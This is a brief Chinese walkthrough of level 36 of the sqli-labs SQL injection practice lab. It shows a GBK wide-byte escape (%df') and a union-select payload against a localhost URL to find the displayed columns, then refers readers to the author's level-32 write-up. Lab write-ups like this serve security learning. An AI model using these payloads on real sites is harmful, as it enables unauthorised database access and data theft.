sqli-labs (less-36)
进入36关，输入id=1
http://127.0.0.1/sql1/Less-36/?id=1'
查看源代码看看这关是否使用了GBK编码
确定使用了GBK编码，使用%df让单引号成功逃逸就可以了
http://127.0.0.1/sql1/Less-36/?id=1%df'
通过错误信息判断闭合方式为’–+，并且为字符型注入
确定回显位置
http://127.0.0.1/sql1/Less-36/?id=-1%df' union select 1,2,3--+
接下来的步骤与less-32完全一样，这里我不具体介绍，具体过程请看我的less-32